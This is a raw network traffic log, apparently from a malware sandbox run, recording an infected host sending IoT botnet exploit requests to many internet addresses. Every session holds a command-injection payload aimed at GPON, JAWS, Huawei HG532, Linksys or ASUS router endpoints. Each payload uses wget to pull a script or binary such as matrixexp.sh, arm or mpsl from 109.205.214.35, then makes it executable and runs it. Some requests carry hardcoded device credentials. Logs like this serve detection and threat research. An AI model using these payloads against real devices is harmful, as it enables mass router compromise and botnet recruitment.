Mar 21, 2024 05:17:15.069499969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	42902	94.83.121.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069534063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	47302	109.144.219.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069534063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	51018	210.153.173.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069575071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	54518	178.155.85.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069596052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	46644	212.105.10.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069648981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	57672	37.129.181.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069658041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	35696	212.197.217.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069741964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	50180	23.10.163.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.082240105 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:15.183979988 CET	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Thu, 21 Mar 2024 04:17:15 GMT Date: Thu, 21 Mar 2024 04:17:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 31 65 38 33 37 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 35 26 23 34 36 3b 34 62 62 65 63 30 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 31 65 38 33 37 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 35 26 23 34 36 3b 34 62 62 65 63 30 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.21e83717.1710994635.4bbec06<P>https://errors.edgesuite.net/9.21e83717.1710994635.4bbec06</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	59894	198.54.114.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.154308081 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:15.313210011 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>
Mar 21, 2024 05:17:15.787367105 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	36906	156.93.225.21	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.169986963 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	59216	212.31.11.136	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.415517092 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	56294	172.65.153.158	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.589384079 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	57540	172.64.142.0	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.589454889 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	37954	172.67.76.122	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.589485884 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	48508	172.64.163.127	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.598218918 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	60426	172.65.197.2	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.636655092 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	59936	198.54.114.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.966237068 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	42688	118.232.195.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.111825943 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:17.662684917 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:19.518449068 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:23.200877905 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	51864	45.200.29.84	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.111977100 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:16.431176901 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	44744	101.254.112.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.163252115 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:16.516434908 CET	1286	IN	HTTP/1.1 505 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1769 Date: Thu, 21 Mar 2024 04:17:16 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 45 78 63 65 70 74 69 6f 6e 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 2c 20 6f 72 20 72 65 66 75 73 65 73 20 74 6f 20 73 75 70 70 6f 72 74 2c 20 74 68 65 20 6d 61 6a 6f 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 48 54 54 50 20 74 68 61 74 20 77 61 73 20 75 73 65 64 20 69 6e 20 74 68 65 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 45 78 63 65 70 74 69 6f 6e 3c 2f 62 3e 3c 2f 70 3e 3c 70 72 65 3e 6a 61 76 61 2e 6c 61 6e 67 2e 49 6c 6c 65 67 61 6c 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 6f 6e 3a 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 70 61 72 73 65 52 65 71 75 65 73 74 4c 69 6e 65 28 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 6a 61 76 61 3a 35 34 37 29 0a 